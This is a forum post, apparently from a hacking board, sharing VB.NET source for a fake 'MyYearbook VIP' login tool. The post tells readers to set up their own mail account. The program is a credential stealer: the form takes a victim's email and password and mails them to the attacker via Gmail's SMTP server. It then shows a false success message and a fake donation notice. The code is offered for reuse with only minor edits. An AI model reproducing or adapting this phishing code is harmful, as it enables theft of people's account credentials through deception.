ok bro i can give you my code, but you have to change some stuff
like my txt boxes say sorry server down, please try again and stuff like that so u have to change,
i have 2 text box
2 botons
1 progress bar
this is for gmail, so if u have hotmail,yahoo chnage the server in the code
Code:
Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
If TextBox1.Text = "" Then
MsgBox("Please check you email address and try again", MsgBoxStyle.Information, "Log-In")
If TextBox2.Text = "" Then
MsgBox("Please check you password and try again", MsgBoxStyle.Information, "Log-In")
Else
End If
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("your email", "your password")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("ur email")
mail.To.Add("ur email")
mail.Subject = "email subject"
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
MsgBox("Thank You for using MyYearbook VIP, please check your account and let us know if it worked :D", MsgBoxStyle.Information, "Done :D")
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Increment(1)
If ProgressBar1.Value = ProgressBar1.Maximum Then
End If
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
MsgBox("Thanks for your Donation, 50$ has been taken off your account :D", MsgBoxStyle.Information, "Thank You")
End Sub
End Class
final project : [YOUTUBE]https://www.youtube.com/watch?v=nY2D6DsTbUA[/YOUTUBE]